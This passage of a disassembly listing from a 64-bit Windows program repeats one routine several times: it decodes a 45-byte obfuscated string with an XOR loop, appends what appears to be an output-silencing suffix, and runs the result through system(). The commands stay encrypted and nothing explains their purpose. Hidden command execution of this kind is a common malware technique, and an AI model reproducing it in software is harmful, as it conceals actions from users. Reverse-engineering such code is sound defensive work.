movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f660
cmp r8d, 0x2d
jge 0x14003f793
movsxd rax, r8d
lea r9, [rbp + 0xed0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f760
mov r8, r10
lea rdx, [rbp + 0xed0]
lea rcx, [rbp + 0x2040]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2020]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2000]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1fe0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1fe0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2000]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2020]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2040]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2060]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2080]
call fcn.14004b800
lea rcx, [rbp + 0x2140]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2120]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0810]
movups xmmword [rbp + 0xea0], xmm0
movups xmm1, xmmword [0x1400d0820]
movups xmmword [rbp + 0xeb0], xmm1
movsd xmm0, qword [0x1400d0830]
movsd qword [rbp + 0xec0], xmm0
mov ecx, dword [0x1400d0838]
mov dword [rbp + 0xec8], ecx
movzx eax, byte [0x1400d083c]
mov byte [rbp + 0xecc], al
mov r8d, edi
cmp esi, 2
jl 0x14003f9c3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xea4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f8d0
cmp r8d, 0x2d
jge 0x14003fa03
movsxd rax, r8d
lea r9, [rbp + 0xea0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003f9d0
mov r8, r10
lea rdx, [rbp + 0xea0]
lea rcx, [rbp + 0x2100]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x20e0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x20c0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x20a0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x20a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x20c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x20e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2100]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2120]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2140]
call fcn.14004b800
lea rcx, [rbp + 0x2200]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x21e0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cfc68]
movups xmmword [rbp + 0xe70], xmm0
movups xmm1, xmmword [0x1400cfc78]
movups xmmword [rbp + 0xe80], xmm1
movsd xmm0, qword [0x1400cfc88]
movsd qword [rbp + 0xe90], xmm0
mov ecx, dword [0x1400cfc90]
mov dword [rbp + 0xe98], ecx
movzx eax, byte [0x1400cfc94]
mov byte [rbp + 0xe9c], al
mov r8d, edi
cmp esi, 2
jl 0x14003fc33
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fb40
cmp r8d, 0x2d
jge 0x14003fc73
movsxd rax, r8d
lea r9, [rbp + 0xe70]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003fc40
mov r8, r10
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0x21c0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x21a0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2180]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2160]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2160]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2180]
call fcn.14004b800
nop
lea rcx, [rbp + 0x21a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x21c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x21e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2200]
call fcn.14004b800
lea rcx, [rbp + 0x2a40]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x22a0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d08f0]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [0x1400d0900]
movups xmmword [rbp + 0xe50], xmm1
movsd xmm0, qword [0x1400d0910]
movsd qword [rbp + 0xe60], xmm0
mov ecx, dword [0x1400d0918]
mov dword [rbp + 0xe68], ecx
movzx eax, byte [0x1400d091c]
mov byte [rbp + 0xe6c], al
mov r8d, edi
cmp esi, 2
jl 0x14003fea3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xe44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003fdb0
cmp r8d, 0x2d
jge 0x14003fee3
movsxd rax, r8d
lea r9, [rbp + 0xe40]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14003feb0
mov r8, r10
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0x2280]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2260]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2240]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2220]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2220]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2240]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2260]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2280]
call fcn.14004b800
nop
lea rcx, [rbp + 0x22a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2a40]
call fcn.14004b800
lea rcx, [rbp + 0x2380]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2360]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0a10]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x1400d0a20]
movups xmmword [rbp + 0xdf0], xmm1
movsd xmm0, qword [0x1400d0a30]
movsd qword [rbp + 0xe00], xmm0
mov ecx, dword [0x1400d0a38]
mov dword [rbp + 0xe08], ecx
movzx eax, byte [0x1400d0a3c]
mov byte [rbp + 0xe0c], al
mov r8d, edi
cmp esi, 2
jl 0x140040113
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xde4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040020
cmp r8d, 0x2d
jge 0x140040153
movsxd rax, r8d
lea r9, [rbp + 0xde0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040120
mov r8, r10
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x2340]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2320]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2300]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x22e0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2300]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2320]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2340]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2360]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2380]
call fcn.14004b800
lea rcx, [rbp + 0x2440]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2420]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400cfe88]
movups xmmword [rbp + 0xf30], xmm0
movups xmm1, xmmword [0x1400cfe98]
movups xmmword [rbp + 0xf40], xmm1
movsd xmm0, qword [0x1400cfea8]
movsd qword [rbp + 0xf50], xmm0
mov ecx, dword [0x1400cfeb0]
mov dword [rbp + 0xf58], ecx
movzx eax, byte [0x1400cfeb4]
mov byte [rbp + 0xf5c], al
mov r8d, edi
cmp esi, 2
jl 0x140040383
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xf34]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040290
cmp r8d, 0x2d
jge 0x1400403c3
movsxd rax, r8d
lea r9, [rbp + 0xf30]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040390
mov r8, r10
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x2400]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x23e0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x23c0]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x23a0]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x23a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x23c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x23e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2400]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2420]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2440]
call fcn.14004b800
lea rcx, [rbp + 0x2500]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x24e0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d0320]
movups xmmword [rbp + 0xd50], xmm0
movups xmm1, xmmword [0x1400d0330]
movups xmmword [rbp + 0xd60], xmm1
movsd xmm0, qword [0x1400d0340]
movsd qword [rbp + 0xd70], xmm0
mov ecx, dword [0x1400d0348]
mov dword [rbp + 0xd78], ecx
movzx eax, byte [0x1400d034c]
mov byte [rbp + 0xd7c], al
mov r8d, edi
cmp esi, 2
jl 0x1400405f3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040500
cmp r8d, 0x2d
jge 0x140040633
movsxd rax, r8d
lea r9, [rbp + 0xd50]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040600
mov r8, r10
lea rdx, [rbp + 0xd50]
lea rcx, [rbp + 0x24c0]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x24a0]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2480]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2460]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2460]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2480]
call fcn.14004b800
nop
lea rcx, [rbp + 0x24a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x24c0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x24e0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2500]
call fcn.14004b800
lea rcx, [rbp + 0x25c0]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x25a0]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d07e0]
movups xmmword [rbp + 0xd80], xmm0
movups xmm1, xmmword [0x1400d07f0]
movups xmmword [rbp + 0xd90], xmm1
movsd xmm0, qword [0x1400d0800]
movsd qword [rbp + 0xda0], xmm0
mov ecx, dword [0x1400d0808]
mov dword [rbp + 0xda8], ecx
movzx eax, byte [0x1400d080c]
mov byte [rbp + 0xdac], al
mov r8d, edi
cmp esi, 2
jl 0x140040863
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xd84]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140040770
cmp r8d, 0x2d
jge 0x1400408a3
movsxd rax, r8d
lea r9, [rbp + 0xd80]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140040870
mov r8, r10
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x2580]
call fcn.14004c390
nop
lea r8, [0x1400cec80]
mov rdx, rax
lea rcx, [rbp + 0x2560]
call fcn.14004c130
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2540]
call fcn.14004c200
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2520]
call fcn.14004c130
mov rcx, rax
call fcn.14004b7f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2520]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2540]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2560]
call fcn.14004b800
nop
lea rcx, [rbp + 0x2580]
call fcn.14004b800
nop
lea rcx, [rbp + 0x25a0]
call fcn.14004b800
nop
lea rcx, [rbp + 0x25c0]
call fcn.14004b800
lea rcx, [rbp + 0x2680]
call fcn.14003a760
mov rbx, rax
lea rcx, [rbp + 0x2660]
call fcn.14003a760
mov r10, rax
movups xmm0, xmmword [0x1400d08c0]
movups xmmword [rbp + 0xdb0], xmm0
movups xmm1, xmmword [0x1400d08d0]
movups xmmword [rbp + 0xdc0], xmm1
movsd xmm0, qword [0x1400d08e0]
movsd qword [rbp + 0xdd0], xmm0
mov ecx, dword [0x1400d08e8]
mov dword [rbp + 0xdd8], ecx
movzx eax, byte [0x1400d08ec]
mov byte [rbp + 0xddc], al
mov r8d, edi
cmp esi, 2
jl 0x140040ad3
movdqa xmmword [rsp + 0x30], xmm11
lea rcx, [rbp + 0xdb4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400409e0
cmp r8d, 0x2d
jge 0x140040b13
movsxd rax, r8d
lea r9, [rbp + 0xdb0]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
